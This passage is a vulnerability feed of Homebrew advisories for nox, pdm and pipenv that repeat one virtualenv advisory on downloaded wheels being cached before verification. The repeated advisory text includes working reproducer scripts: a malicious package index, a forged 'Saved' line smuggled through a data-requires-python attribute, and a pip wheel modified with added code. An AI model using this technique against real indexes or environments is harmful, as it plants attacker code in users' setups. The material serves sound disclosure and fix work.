https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
  "id": "BREW-nox-CVE-2026-113714",
  "modified": "2026-10-29T22:29:22Z",
  "published": "2026-10-26T09:50:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Downloaded wheel selection and caching precede verification",
  "upstream": [
    "GHSA-494p-63j8-28p3",
    "CVE-2026-113714",
    "BIT-virtualenv-2026-113714"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "virtualenv",
        "resource_purl": "pkg:pypi/virtualenv@21.14.13",
        "upstream_fixed_in": "21.14.9"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pdm",
        "purl": "pkg:brew/pdm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.29.2_1"
            },
            {
              "fixed": "2.29.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/virtualenv@21.14.13",
        "name": "virtualenv",
        "resource": "virtualenv",
        "strategy": "registry",
        "subject_version": "21.14.13"
      }
    ]
  },
  "details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n        f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
  "id": "BREW-pdm-CVE-2026-113714",
  "modified": "2026-10-29T21:44:05Z",
  "published": "2026-10-26T09:36:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Downloaded wheel selection and caching precede verification",
  "upstream": [
    "GHSA-494p-63j8-28p3",
    "CVE-2026-113714",
    "BIT-virtualenv-2026-113714"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "virtualenv",
        "resource_purl": "pkg:pypi/virtualenv@21.15.1",
        "upstream_fixed_in": "21.14.9"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pipenv",
        "purl": "pkg:brew/pipenv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.8.0_1"
            },
            {
              "fixed": "2026.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/virtualenv@21.15.1",
        "name": "virtualenv",
        "resource": "virtualenv",
        "strategy": "registry",
        "subject_version": "21.15.1"
      }
    ]
  },
  "details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n        f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / 